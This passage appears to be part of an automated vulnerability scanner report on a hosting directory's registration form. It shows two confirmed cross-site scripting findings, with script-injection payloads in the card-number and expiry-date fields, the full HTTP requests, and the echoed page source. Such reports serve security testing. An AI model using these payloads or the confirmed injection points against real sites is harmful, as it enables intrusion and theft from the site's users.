<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST '"--></style></script><script>alert(0x001E7A)</script>
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E7A)%3c%2fscript%3e&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:39:24 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='2DFD5761645828D65C390F64BD89BE77C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D65C5E7D3B967FBACC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D64BDB2A0F474C083AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D665A5DD4872A6FAE7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D69CAAB38660784B8A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D648E8C91D1AE40298C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D6780F693D5CAA6BE7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D68E80C5C939CB1D496F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D6DF52D1757DA8364EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D612B5B6740206A8876F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='2DFD5761645828D6969B4766C0837412C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D6A10A6E8952137718C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D6A916B6D2FCB77D9DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6929BDDFA4B0E3390C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D683E2F0CDB5197801C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D6CC85014D5D352555C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D623C50FCD3E4379EC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D674C7B7A7091CC4686F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D608F20D9D7E884FE86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST '"--></style></script><script>alert(0x001E7B)</script>
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E7B)%3c%2fscript%3e&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:39:27 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='2DFD5761645828D6FB5FC247C7F67D7BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='2DFD5761645828D680D454E9312B505A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='2DFD5761645828D6ECBC18D085D8F44EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D67B4DBDB14F106A15C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='2DFD5761645828D6CE615F2B21E2F3AA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='2DFD5761645828D6D18763F9959EE4BDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='2DFD5761645828D6307AE985F221C218C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='2DFD5761645828D666D54019CC8D70A46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='2DFD5761645828D618E78D029D98AB81C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='2DFD5761645828D6A1381855552A22B06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='2DFD5761645828D695429266142187CAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='2DFD5761645828D64B2EDEF8E716F5A3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='2DFD5761645828D6DFC8EE1593029183C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='2DFD5761645828D6A10F69A7A8D0CF20C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='2DFD5761645828D6E70487B363CB278EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='2DFD5761645828D6F34E1D67EF77771FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='2DFD5761645828D6FA59329A9BC087CC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='2DFD5761645828D6AEBA9AC1BF9930B26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='2DFD5761645828D66A49DD424B0F6A786F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
